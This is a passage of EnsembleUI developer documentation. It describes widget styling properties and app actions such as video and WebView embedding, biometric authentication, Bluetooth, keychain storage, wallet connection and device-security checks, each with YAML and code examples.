`pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| mixedColor | integer or string | Sets the mixed state color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| activeThumbColor | integer or string | Sets the active thumb color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| inactiveThumbColor | integer or string | Sets the inactive thumb color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +--- + +# Type References +These Types objects are used in multiple widgets. They are defined here for reference. + +## TextStyle +TextStyle allows customization of font, size, color, decoration, and more to enhance the UI's textual elements. + +| Property | Type | Description | +|:-------------------|:-----------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | +| fontSize | integer | The size of the font. Valid values range from 1 to 1000. | +| lineHeightMultiple | number | A multiplier applied to the font size to determine line height (e.g., 2.0 for double the height of the font size). By default this value varies on the font used. | +| fontWeight | [FontWeight](#FontWeight) | The weight of the font. | +| isItalic | boolean | If true, the text is italicized. | +| color | [Color](#Color) | The color of the text. | +| backgroundColor | [Color](#Color) | The background color of the text | +| gradient | [Gradient](#gradient) | A gradient effect applied to the text. | +| decoration | enum | The text decoration: `none`, `lineThrough`, `underline`, `overline`. | +| decorationStyle | enum | The style of the text decoration (if decoration is not `none`): `solid`, `double`, `dotted`, `dashed`, `wavy`. | +| decorationColor | [Color](#Color) | The color of the decoration. | +| decorationThickness| number | The thickness of the decoration. | +| overflow | enum | Treatment of text exceeding available space: `clip`, `fade`, `ellipsis`, `visible`. | +| letterSpacing | integer | Space between characters in the text. | +| wordSpacing | integer | Space between words in the text. | + +## Gradient + +| Property | Type | Description | +|:---------|:-----------------------------------------------|:-----------------------------------------------------------------------------------------------------------| +| colors | [Color[]](#Color) | An array of colors used for the gradient. | +| stops | number[] | The list of numbers from 0.0 (where the gradient starts) to 1.0 (where the gradient ends), one for each colors specified | +| start | [Alignment](#Alignment) | The starting position of the gradient. | +| end | [Alignment](#Alignment) | The ending position of the gradient. | + +## FontWeight +This property defines the weight (thickness) of the font used in text styling. It includes standard weights and numerical weights for finer control. + +| FontWeight | Description | +|------------|-------------------------------------------| +| light | Lighter font weight. | +| normal | Normal or regular font weight. | +| bold | Bold font weight. | +| w100-w900 | Font weight from 100-900 (light to bold). | + +## Color +This property defines the color based on a pre-defined names (see the supported names below) or as hexdecimal numbers that represent color codes. + +You can use color codes in one of the two ways - +- HTML/CSS format as a string with quotes around it. Starts with # and contains 6 or 8 characters after it. For example, '#FF5733' for orange. `Remember to put quotes around it as # is a comment character in yaml`. +- The common programming language format without quotes. Starts with 0x and has 8 characters after it. For example, 0xFFFF5733 for orange. + +Either way works fine and internally color codes are automatically converted to the programming language format. + +| Name | Description | +|-------------|------------------| +| transparent | Transparent | +| black | Black color. | +| blue | Blue color. | +| white | White color. | +| red | Red color. | +| grey | Grey color. | +| teal | Teal color. | +| amber | Amber color. | +| pink | Pink color. | +| purple | Purple color. | +| yellow | Yellow color. | +| green | Green color. | +| brown | Brown color. | +| cyan | Cyan color. | +| indigo | Indigo color. | +| lime | Lime color. | +| orange | Orange color. | + +## Alignment +This property is used to specify the alignment of an element within its parent. + +| Alignment | Description | +|--------------|-------------------------------------------------------| +| topLeft | Aligns the element at the top-left corner. | +| topCenter | Aligns the element at the top-center. | +| topRight | Aligns the element at the top-right corner. | +| centerLeft | Aligns the element at the center-left side. | +| center | Centers the element both horizontally and vertically. | +| centerRight | Aligns the element at the center-right side. | +| bottomLeft | Aligns the element at the bottom-left corner. | +| bottomCenter | Aligns the element at the bottom-center. | +| bottomRight | Aligns the element at the bottom-right corner. | + +## TapHaptic +This property specifies the type of haptic feedback to be played upon tapping an element. The options are listed in decreasing order of intensity. + +| Haptic Feedback | Description | +|-----------------------|--------------------------------------------------------------------------------------------------| +| heavyImpact | Generates a haptic feedback of the highest intensity. | +| mediumImpact | Provides a haptic feedback of medium intensity. | +| lightImpactHaptic | Offers a lighter haptic impact as feedback. | +| selectionClickHaptic | Produces a mild, click-like haptic feedback, typically used for selection changes. | +| vibrateHaptic | Triggers a standard vibration as haptic feedback. | + +## BackgroundImage +This property configures a background image for a widget, including its source, fit, alignment, and a fallback option. + +| Property | Type | Description | +|:----------|:-----------------------------------------------|:--------------------------------------------------------------------------------------------------------------------| +| source | string | The Image URL to fill the background. | +| fallback | [Widget](#widget-directory) | Return an inline widget or specify a custom widget to be rendered when the backgroundImage fails to load the image. | +| fit | [Fit](#Fit) | How to fit the image within the dimensions. | +| alignment | [Alignment](#Alignment) | Align this image relative to its parent or dimensions. | + + +## Fit + +This property determines how to fit the image within the dimension or the parent container. + +| Fit Mode | Description | +|------------|-----------------------------------------------------------------------------------------------------| +| fill | Stretch our image to fill the dimension, potentially distorting the aspect ratio if necessary. | +| contain | Scale the image such that the entire image is contained within our dimension. | +| cover | Scale the image to fill our dimension, clipping the image as needed. | +| fitWidth | Scale the image to fit the width, and clipping the height if needed. | +| fitHeight | Scale the image to fit the height, and clipping the width if needed. | +| none | Center-Align the original image size, clipping the content if needed. | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + + +## Border + +| Property | Type | Description | +|:-------------|:---------------------------------------|:-------------------------------------------------------| +| borderRadius | integer / string | Border Radius with CSS-like notation (1 to 4 integers) | +| borderColor | [Color](#Color) | Border color, starting with '0xFF' for full opacity. | +| borderWidth | integer | The thickness of the border. Minimum value: 0. | + +## Shadow +This property defines the shadow properties for a widget, including color, offset, radius, blur radius, and style. + +| Property | Type | Description | +|:-----------------|:------------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| shadowColor | string / number | Box shadow color starting with '0xFF' for full opacity. | +| shadowOffset | array of integers | Offset of the shadow in the format `[x, y]`. | +| shadowRadius | integer | The radius of the shadow. Minimum value: 0. | +| shadowBlurRadius | integer | The blur radius of the shadow. Minimum value: 0. | +| shadowStyle | enum | The blur style to apply on the shadow:
    `normal` - Fuzzy inside and outside (default)
    `solid` - Solid inside, fuzzy outside.
    `outer` - Nothing inside, fuzzy outside.
    `inner` - Fuzzy inside, nothing outside. | + +--- + +# Video widget + +The Video Widget enables seamless integration of video content within your application, providing an immersive and engaging multimedia experience for users. + +> To get hands-on experience with `Video` widget, see live example in [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fce92bbb-af8e-403d-bf2d-c10926cc89a0) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------- | +| source | string | The URL source to the media file | +| showControls | boolean | Offers options to show/hide video controls. (default true) | +| loadingWidget | Widget | The widget to show when video is loading. | +| repeat | boolean | Video will kept replaying in loop. | +| autoplay | boolean | Automatically start the video when player is loaded. (default False) | +| playbackRate | number | For changing the speed at which the video is displayed | +| volume | number | Changes the volume. (max = 100, min = 0) | +| onChange | Action | Action to execute when the video has changed | +| onStart | Action | Call Ensemble's built-in functions or execute code when video is about to start | +| onEnd | Action | Call Ensemble's built-in functions or execute code when video is about to end | + +## Code Example +``` +Video: + source: https://flutter.github.io/assets-for-api-docs/assets/videos/bee.mp4 + repeat: true + autoplay: true + showControls: false + loadingWidget: + Progress: + display: circular +``` + +--- + + +# WebView widget + +The WebView Widget enables seamless integration of web content within native apps and web apps, providing a versatile and consistent browsing experience across platforms. In addition to its core functionality, WebView also supports the use of cookies. [Learn more here!](/pages/tips-and-tricks/cookies.md) + +```yaml +- WebView: + url: https://messages.mycompany.com + allowedLaunchSchemes: + - "tel:" + - "sms:" + - "mailto:" + - "slack:" + + #note that if you explicitly specify `allowedLaunchSchemes` you must specify the defaults as well if you want them to be allowed otherwise they will be overwritten +``` +```yaml +headerOverrideRules: + - urlPattern: "api.example.com" + matchType: CONTAINS + headers: + SECRET: abc123 + mergeExisting: true +``` + +--- + +# Youtube + +The YouTube feature in EnsembleUI allows integration of YouTube videos into your application, providing users with a rich multimedia experience. + +### YouTube Player Configuration +The YouTube player component offers a range of options for customizing the behavior and appearance of YouTube videos within the application. + +- URL: Specifies the URL of the main YouTube video to be played. +- Video List: Provides a list of additional videos to be displayed in the video player. +- Playback Rate: Allows users to adjust the playback speed of the video. +- Volume: Enables users to set the volume level for audio playback. +- Playback Controls: Offers options to show/hide video controls, enable captions, and display annotations. +- Autoplay: Determines whether the video should start playing automatically when loaded. +- Start and End Seconds: Specifies the start and end times of the video playback. +- Aspect Ratio: Defines the aspect ratio of the video player. + +### Controlling Video Playback +The control buttons allow users to interact with the YouTube player and manage video playback effectively. + +- Prev/Next: Navigate to the previous or next video in the playlist. +- Play/Pause: Start or pause video playback. +- Mute/Unmute: Toggle audio mute/unmute. +- Stop: Stop video playback. + +### Setting Playback Rate and Volume +Users can set the playback rate and volume using the provided text input fields: + +- Set playback rate: Adjust the playback speed of the video. +- Set volume: Control the audio volume of the video. + +## Example Configuration +```yaml + - TextInput: + hintText: Set playback rate + id: playback + - TextInput: + hintText: set volume + id: volume + - YouTube: + volume: ${volume.value} + showFullScreenButton: true + url: https://www.youtube.com/watch?v=4NRXx6U8ABQ + videoList: + - https://www.youtube.com/watch?v=H5v3kku4y6Q + - IoBP24I2lwA + playbackRate: ${playback.value} + enableCaptions: true + showControls: true + showAnnotations: false + id: youtubeId + startSeconds: 10 + endSeconds: 40 + autoplay: true + aspectRatio: 4 / 3 + - Flow: + styles: + gap: 16 + lineGap: 16 + children: + - Button: + label: Prev + onTap: | + youtubeId.previousVideo() + - Button: + label: Play + onTap: | + youtubeId.playVideo() + - Button: + label: Pause + onTap: | + youtubeId.pauseVideo() + - Button: + label: Mute + onTap: | + youtubeId.mute() + - Button: + label: Unmute + onTap: | + youtubeId.unMute() + - Button: + label: Next + onTap: | + youtubeId.nextVideo() + - Button: + label: Stop + onTap: | + youtubeId.stopVideo() +``` + +Note: The YouTube feature is compatible with Native iOS and Android applications. + +--- + +# Composite Widgets + +Composite widgets are a powerful concept in Ensemble where multiple smaller widgets are combined to create a more complex and reusable widget. + +Composite widgets can be composed of any combination of basic UI elements such as buttons, text fields, labels, etc., allowing app developers to create complex UI components without having to recreate the same layout and functionality multiple times. + +## Benefits of Composite Widgets + +1. **Reusability**: Composite widgets can be reused across different parts of an app or even across multiple apps, reducing duplication of code and effort. +2. **Modularity**: By breaking down UI components into smaller widgets, developers can build more modular and maintainable app definitions. +3. **Customization**: Composite widgets allow for easy customization through inputs, enabling app developers to adapt the widget's behavior and appearance to suit different use cases. + +## How to use them + +When using a composite widget, + +1. prefix the widget name with `ensemble` +2. pass required inputs +3. further customize the widget with optional parameters + +```yaml +View: + body: + Column: + children: + - ensemble.RatingStars: + inputs: + rating: 3 + size: 24 + starColor: white + starBackgroundColor: red + starGaps: 8 + starPadding: 8 + starBorderRadius: 40 +``` + +## Directory of composite widgets + +| Name | Kitchen sink example | Output | +| ---- | -------------------- | ------ | +| HorizontalProgressBar | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/rlWyrWZrkb6JhxoACptf) | ![HorizontalProgressBar](public/images/composite-widgets/HorizontalProgressBar.png) | +| ImageThumbnailCarousel | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/gRexsL9GfS9k6rLswMck) | ![ImageThumbnailCarousel](public/images/composite-widgets/ImageThumbnailCarousel.png) | +| ProfileImageWithIndicator | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/xCU7BvaYzK20NsEuqyNB) | ![ProfileImageWithIndicator](public/images/composite-widgets/ProfileImageWithIndicator.png) | +| RatingStars | [link](https://studio.ensembleui.com/app/8PghcmhtGkWiWffmhDDl/widget/pn4g23nRuQ5D8AsN1qtp) | ![RatingStars](public/images/composite-widgets/RatingStars.png) | + + +## Contributing to Composite Widgets + +Contributions from the community can greatly enhance the functionality and versatility of composite widgets. Here's how you can contribute: + +**1. Create your widget** + +Create an app and follow these guidelines to create your proposed composite widget. + +- In Studio, navigate to widgets tab of your app and create a new widget. +- Your widget should take inputs allowing app developers to customize the widget. Required inputs should be kept to items that without them, the widget cannot be rendered. Styling of the widget should be configurable by using optional inputs. For instance, background of a Column can be made optional. + + ```yaml + Widget: + inputs: + - bgColor # this is optional and defaults to white + body: + Column: + styles: + backgroundColor: '${ bgColor ? bgColor : "white" }' + ``` + +- Avoid setting width and height specially on container widgets such as rows and columns. +- Your widget should be self contained and not rely on definitions outside the widget such as API definitions and storage. + + +**2. Create a screen documenting the widget** + +Within the same app, create a screen to outline inputs and several example usages. See [this example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/rlWyrWZrkb6JhxoACptf) for reference. + +**3. Share your widget on Builder Support** + +Join Ensemble [Discord server](https://dsc.gg/ensembleui), and post a new topic in [Builder Support channel](https://discord.com/channels/1031982848485359626/1088664937288699992) with a link to your app. + +Make sure to make your app public so that reviewers can access it. + + +![Make app public](public/images/make-app-public.jpg) + +--- + +## authenticateByBiometric + +It helps to authenticate user based on biometrics such as face and fingerprint based on sensor available on user's device. + + +> [Note] +> It only works in native devices which has biometric sensors. + + +### Native Configuration + +#### iOS Configuration + +The action works with both Touch ID and Face ID. However, to use the latter, you need to add following in `info.plist` + +```plist +NSFaceIDUsageDescription +Why is my app authenticating using face id? +``` + +#### Android Configuration + +Update your `MainActivity.java`: + +```java +import io.flutter.embedding.android.FlutterFragmentActivity; + +public class MainActivity extends FlutterFragmentActivity { +} +``` + +or `MainActivity.kt`: + +```kt +import io.flutter.embedding.android.FlutterFragmentActivity + +class MainActivity: FlutterFragmentActivity() { +} +``` + +Permissions + +In your `AndroidManifest.xml`: + +```xml + +``` + +### Sample EDL + +```yaml +Button: + label: Biometric Auth + onTap: + authenticateByBiometric: + label: Authenticate to see your balance + + # if device has pin configurated but not biometric sensor be it face or finger, setting allowConfiguration to true will popup user to first configure the settings. + allowConfiguration: true + onAuthenticated: | + //@code + ensemble.debug('Successfully authenticated'); + + onAuthenticationFailed: | + //@code + ensemble.debug('Failed to authenticate'); + + onSensorNotConfigured: | + //@code + ensemble.debug('sensor is not configured'); + + onSensorNotAvailable: | + //@code + ensemble.debug('sensor not available'); + + onError: | + //@code + ensemble.debug('on unknown error'); + +``` + +--- + +### BLE Client + +Ensemble bluetooth modules allows you to create BLE client on ensemble platform. + + +### SETUP + +#### Android +Add permissions for Android (With Fine Location) +```xml + + + + + + + + + + + + +``` + +When release `project/android/app/proguard-rules.pro` add following:- + +> `-keep class com.lib.flutter_blue_plus.* { *; }` + + +#### IOS + +In the `ios/Runner/Info.plist` let’s add: +```plist + NSBluetoothAlwaysUsageDescription + This app needs Bluetooth to function +``` + + +### Action References + +* Note that the event.data is exactly set of characters that the device is sending. It will be a string. If the device is sending JSON data, that will *not* be automatically converted. You will need to call `JSON.parse(event.data)` to convert it to JSON * + +`bluetoothInit` : Turns on the bluetooth (Android only) and Stream of on & off states of the bluetooth. +```yaml +Icon: + name: bluetooth_fill + library: remix + onTap: + bluetoothInit: + onDataStream: | + bluetoothStatus.text = event.data; +``` +`bluetoothStartScan` : Starts a scan for Ble devices +```yaml +Button: + label: Device scan + onTap: + bluetoothStartScan: + onDataStream: | + ensemble.storage.devices = event.data +``` + +`bluetoothConnect` : Establishes a connection to the Bluetooth Device and listen to connection stream +```yaml +Button: + label: Connect + onTap: + bluetoothConnect: + deviceId: ${device.deviceId} + timeout: 60 + onConnectionStream: | + status.text = event.data.status; + onDataStream: | + ensemble.storage.services = event.data; +``` + +`bluetoothDisconnect`: Disconnect connection to Bluetooth Device. +```yaml +Button: + label: Disconnect + onTap: + bluetoothDisconnect: + deviceId: ${device.deviceId} +``` + +`bluetoothSubscribeCharacteristic`: Listen and Retrieves the value of the characteristic. +```yaml +Button: + label: Subscribe + onTap: + bluetoothSubscribeCharacteristic: + id: ${characteristic.id} + onDataStream: | + data.text = event.data +``` +`bluetoothUnsubscribeCharacteristic`: Stop listening to a given characteristics +```yaml +Button: + label: UnSubscribe + onTap: + bluetoothUnsubscribeCharacteristic: + id: ${characteristic.id} +``` + +--- + +# callExternalMethod + +*Note this is relevant for developers who are integrating Ensemble with their flutter apps* + +Utilize the `callExternalMethod` action to call a method in your Flutter app. Ensemble allows you to pass Flutter methods into the framework at the time you instantiate `EnsembleApp`. + +## Example of registering openApp method that's implemented in Flutter + +See how to [embed](https://github.com/EnsembleUI/ensemble/blob/main/starter/lib/main.dart) Ensemble platform in your [existing flutter app](https://github.com/EnsembleUI/ensemble/tree/main/starter) + +```dart + //assuming you have a flutter method called openApp + Map methods = { + //appId, screenId and props will be provided by the EDL code when invoking the callExternalMethod action + 'openApp': ({appId, screenId, props}) => openApp(appId!, screenId, props) + }; + +//following code is from https://github.com/EnsembleUI/ensemble/blob/main/starter/lib/main.dart +void main() async { + WidgetsFlutterBinding.ensureInitialized(); + initErrorHandler(); + await EnsembleModules().init(); + runApp(EnsembleApp( + externalMethods: methods //this is how you can specify one or more Flutter methods that could be invoked from within EDL + )); +} +``` +Here's how to invoke the `openApp` method we registered earlier. + +```yaml +View: + Column: + children: + - Button: + label: Open App + onTap: + callExternalMethod: + name: openApp + payload: + appId: appId + screenId: screenId +``` +Alternatively you can call it in code as follows - + +```js + ensemble.callExternalMethod({ + name: "openApp", + payload: { + appId: appId, + screenId: screenId + }, + }); +``` + +--- + +# checkPermission + +`checkPermission` is designed to check the permission status. It includes components for checking notification, location, contacts, and camera permissions. + +**Callbacks** +1. `onAuthorized`: Executes when the components permission to authorized. Updates the text of the component to "Authorized." + +2. `onDenied`: Executes when the components permission to denied. Updates the text of the component to "Denied." + +3. `onNotDetermined`: Executes when the components permission to not determined. Updates the text of the component to "Not Determined." + +```yaml +- Button: + label: Notification Permission + onTap: + checkPermission: + type: notification + onAuthorized: | + //@code + notificationStatus.text = "Authorized"; + console.log("onAuthorized called"); + onDenied: | + //@code + notificationStatus.text = "Denied" + console.log("onDenied called"); + onNotDetermined: | + //@code + notificationStatus.text = "Not Determined" + console.log("onNotDetermined called"); +``` +When a user taps the "Notification Permission" button, the app checks the notification permission status. Depending on the status, one of the specified callbacks (onAuthorized, onDenied, or onNotDetermined) is executed. + +--- + +# readKeychain + +The `readKeychain` action retrieves previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing access to sensitive information that was stored with the highest level of OS security protection. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :--------------------------------------------------------------------------------------------------------- | +| key | string | The key to retrieve the value from | +| onComplete | action | Execute an Action when the data has been successfully retrieved. The value is available under 'event.data' | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Read from Keychain + onTap: + readKeychain: + key: apiKey + onComplete: + executeCode: + body: | + //@code + console.log("Retrieved API key: " + event.data); + apiKeyInput.value = event.data; + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +It is only available in YAML, as this calls a async function whose return type is Future and we use callbacks to handle the result. Our JS is sync and we cannot use async/await in JS. + +## Notes + +- This action reads from the device's secure keychain or equivalent OS security storage. +- Unlike the `getSecureStorage` action, this operation is asynchronous and must use callbacks even in JavaScript. +- The retrieved data is converted back to its original data type (string, number, boolean, or object). +- If no data exists for the given key, the onError callback will be triggered. +- Data stored using [saveKeychain](#savekeychain) can be retrieved with this action. +- The value is available in the `onComplete` action under `event.data`. +- This action provides access to data with OS-level security protection. + +--- + +# saveKeychain + +The `saveKeychain` action stores sensitive information in the device's secure keychain (iOS) or equivalent secure storage (Android), providing a high level of OS-level protection for critical data like authentication credentials, tokens, and other sensitive user information. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :---------------------------------------------------------------------------------------- | +| key | string | The key to store the value under | +| value | any | The value to store in the keychain | +| onComplete | action | Execute an Action when the data has been successfully stored | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Save to Keychain + onTap: + saveKeychain: + key: apiKey + value: 3f8d9a72e5c6b1f0 + onComplete: + showToast: + message: API key saved to keychain + options: + type: success + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +You can also use this action in JavaScript: + +```javascript +// Store a simple string value +ensemble.saveKeychain({ + key: "apiKey", + value: "3f8d9a72e5c6b1f0", +}); + +// Store a complex object +ensemble.saveKeychain({ + key: "accountDetails", + value: { + accountId: "ACC123456", + accessLevel: "premium", + lastAccess: "2023-05-19T14:30:00Z", + }, +}); +``` + +## Notes + +- The keychain provides OS-level security for storing sensitive data. +- On iOS, this uses the Keychain Services API. +- On Android, this uses the Android Keystore System or equivalent secure storage. +- Values stored in the keychain persist even when the app is uninstalled on iOS (not on Android). +- To retrieve the value later, use the [readKeychain](#readkeychain) action. +- To remove the value, use the [clearKeychain](#clearkeychain) action. +- For less sensitive data that doesn't need OS-level security, consider using [setSecureStorage](#setsecurestorage) instead. + +--- + +# clearKeychain + +The `clearKeychain` action removes previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing you to clean up sensitive information with the highest level of security when it's no longer needed. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :---------------------------------------------------------------------------------------- | +| key | string | The key to remove from the keychain | +| onComplete | action | Execute an Action when the data has been successfully removed | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Clear Keychain Data + onTap: + clearKeychain: + key: apiKey + onComplete: + showToast: + message: API key removed from keychain + options: + type: success + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +You can also use this action in JavaScript: + +```javascript +// Clear a stored keychain value +ensemble.clearKeychain({ + key: "apiKey", + onComplete: () => { + console.log("API key removed from keychain"); + }, + onError: (error) => { + console.error("Failed to clear from keychain: " + error); + }, +}); +``` + +## Notes + +- This action removes data from the device's secure keychain or equivalent OS security storage. +- This operation completely removes the specified key and its associated value from the keychain. +- If the key doesn't exist, the action may trigger an error depending on the platform. +- Use this action for cleanup when sensitive data is no longer needed (e.g., after logout). +- For security best practices, always clear sensitive data when it's no longer required. +- This action works with data stored using [saveKeychain](#savekeychain). +- Unlike `clearSecureStorage`, this operates at the OS-level security layer. + +--- + +# closeAllDialogs + +closeAllDialogs action dismisses or closes all open modal dialogs within the app, allowing developers to easily manage and reset the dialog stack, ensuring a clutter-free and user-friendly interface for a seamless app experience. + +**Example** + +```yaml +MyStartingDialog: + body: + Column: + styles: + gap: 10 + children: + - Text: + text: Welcome to Ensemble + styles: + fontSize: 16 + fontWeight: bold + - Text: + text: This dialog pops up when the user first visits the page. + - Button: + label: Close dialog + onTap: closeAllDialogs +``` + +The complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) demonstrates its usage along with showDialog + +--- + +# connectWallet + +connectWallet action enables users to establish a connection between their digital wallet and the app, facilitating seamless integration with blockchain-based functionalities, token transfers, and decentralized applications, enhancing user interactions with cryptocurrency-related features. + +### Properties + +| Property | Type | Description | +| :---------- | :----- | :---------------------------------------------------------------- | +| id | string | ID allows you to bind to its result. e.g. ${wallet.addresses...}, | +| wcProjectId | string | Wallet connect project Id, get it from wallet connect dashboard | +| onComplete | action | Execute another Action upon successful upload of files | +| onError | action | Execute an Action when uploader fails with error(s) | +| appMetaData | object | [see properties](#propertiesappMetaData) | + +#### properties.appMetaData + +| Property | Type | Description | +| :---------- | :----- | :----------------------------------------------------------- | +| name | string | Your app name, that will be shared to crypto wallet | +| description | string | Your app's description, that will be shared to crypto wallet | +| url | string | You app's / company's url | +| iconUrl | string | Url path of your app's icon | + +**Example** + + + +```yaml +View: + title: Crypto wallet + body: + Column: + styles: { padding: 16 } + children: + - Markdown: + text: | + ### Build Dapps + + - Connect to any crypto wallet that support wallect connect v1, check supporting wallet. [Wallet Connect Explorer](https://walletconnect.com/explorer?version=1) + + - Get wallet connect project id from wallet connect [dashboard](https://cloud.walletconnect.com/sign-in) + - Set application descriptions like name, description. + - We can connected wallet addresses using `walletRef.addresses`. + - Spacer: + styles: { size: 12 } + + - Divider: + + - Spacer: + styles: { size: 12 } + + - Markdown: + text: | + + # Example + + - Spacer: + styles: { size: 12 } + + - Button: + label: Connect to wallet + onTap: + connectWallet: + id: wallet + wcProjectId: 77740b7e86cfcba224464923b8e115e3 + appMetaData: + name: Ensemeble app + description: Ensemble forever + url: https://ensembleui.com/ + iconUrl: https://ensembleui.com/assets/images/logo.svg + onComplete: | + //@code + + address.text = wallet.addresses; + + - Spacer: + styles: { size: 12 } + + - Markdown: + id: address +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/MnW9B85MmtqPXLEdZETu?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# copyToClipboard + +copyToClipboard action allows users to copy text or content to their device's clipboard with a simple interaction, facilitating easy sharing and transfer of information within the app, enhancing productivity and user convenience. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------- | +| value | string | The text to copy to clipboard | +| onSuccess | action | Execute another Action upon successful copy to clipboard | +| onFailure | action | Execute an Action when copy to clipboard fails | + +**Example** + +```yaml +View: + header: + title: "Action: copyToClipboard" + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + + children: + - Markdown: + text: | + Use the `copyToClipboard` action to copy a value to the clipbaord. + + - TextInput: + label: Value to copy + id: textInput + value: Hello there + - Button: + label: Copy to clipboard + onTap: + copyToClipboard: + value: ${textInput.value} + onSuccess: + showToast: + message: ${textInput.value} + "copied!" + options: + dismissable: true + type: success + duration: 3 + onFailure: + showToast: + message: ${textInput.value} + "copied!" + options: + dismissable: true + type: error + duration: 3 +``` + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/oQGrStPwLqERIc7kzHFn?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# Device Security + +The `deviceSecurity` action checks if the device is rooted, debugged, or running on an emulator. It executes corresponding actions based on the results of these checks, enhancing security awareness and control within your application + +## Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------- | +| onSuccess | action | Action to be executed on successful security check with data on device status | +| onError | action | Action to be executed on error during the security check | + +### Event Data + +When the `onSuccess` action is executed, the following data is available under `event.data`: + +- **debugged**: Indicates if the device is in debug mode. +- **rooted**: Indicates if the device is rooted. +- **emulator**: Indicates if the device is an emulator. + +When the `onError` action is executed, the following data is available under `event.error`: + +- **error**: Error message describing the issue. + +**Example** + +```yaml +View: + header: + titleText: "Device Security Example" + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Button: + label: Check Device Security + onTap: + deviceSecurity: + onSuccess: + executeConditionalAction: + conditions: + - if: ${event.data.debugged} + action: + showDialog: + body: + Text: + text: "The device is in debug mode." + - elseif: ${event.data.rooted} + action: + showDialog: + body: + Text: + text: "The device is rooted." + - elseif: ${event.data.emulator} + action: + showDialog: + body: + Text: + text: "The device is an emulator." + - else: + action: + showDialog: + body: + Text: + text: "The device is secure." + onError: + showDialog: + body: + Text: + text: ${event.error} +``` + +**Kitchen Sink** + +You can find a complete example of using the deviceSecurity action in the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/RLWeYjfVwopcTqhWo6mX). This example demonstrates how to integrate the action within a screen, handle the success and error cases, and display relevant information to the user based on the device's security status. + +### Platform Based Configurations + +- **Android**: No additional configurations are required. +- **iOS**: Add following lines to the `Info.plist` file in /ios/Runner/ folder: + +```xml +LSApplicationQueriesSchemes + + undecimus + sileo + zbra + filza + activator + +``` + +--- +**NOTE** + +This action only works for native applications (Android and iOS), on web it will always return false. + +--- + +--- + +# Actions + +When an event is triggered (e.g. button is tapped), you can perform actions such as navigate to a screen, call an API, or even run JavaScript code. + +### Backend API interaction + +| Property | Description | +| :------------------------- | :---------------------------------------------------------------------------------------------------------- | +| [invokeAPI](invoke-API.md) | invokeAPI is used for calling an API. You can call an API on events such as a button tap or on screen load. | + +### Navigation & UI transitions + +| Property | Description | +| :---------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| [navigateScreen](navigate-screen.md) | navigateScreen action facilitates smooth navigation to a specific screen or page within the app's interface. | +| [navigateModalScreen](navigate-modal-screen.md) | navigateModalScreen action opens a specific screen or page as a modal overlay, focusing on the temporary view without losing the main app context. | +| [navigateViewGroup](navigate-view-group.md) | navigateViewGroup action allows users to navigate between menu items while maintaining the menu in place. This simulate the experience when user taps on different nav items. | +| [navigateBack](navigate-back.md) | navigateBack action allows users to go back to the previous screen or page within the app's navigation stack. | +| [onViewGroupResume](onViewGroupResume.md) | onViewGroupResume action facilitates ensembleAction execution when navigating back to ViewGroup from different screen. | +| [onViewGroupUpdate](onViewGroupUpdate.md) | onViewGroupUpdate action facilitates ensembleAction execution when update in ViewGroup occurs such as swithcing screen. | +| [showDialog](show-dialog.md) | showDialog action triggers the display of a modal dialog box within the app, presenting important information or notifications. | +| 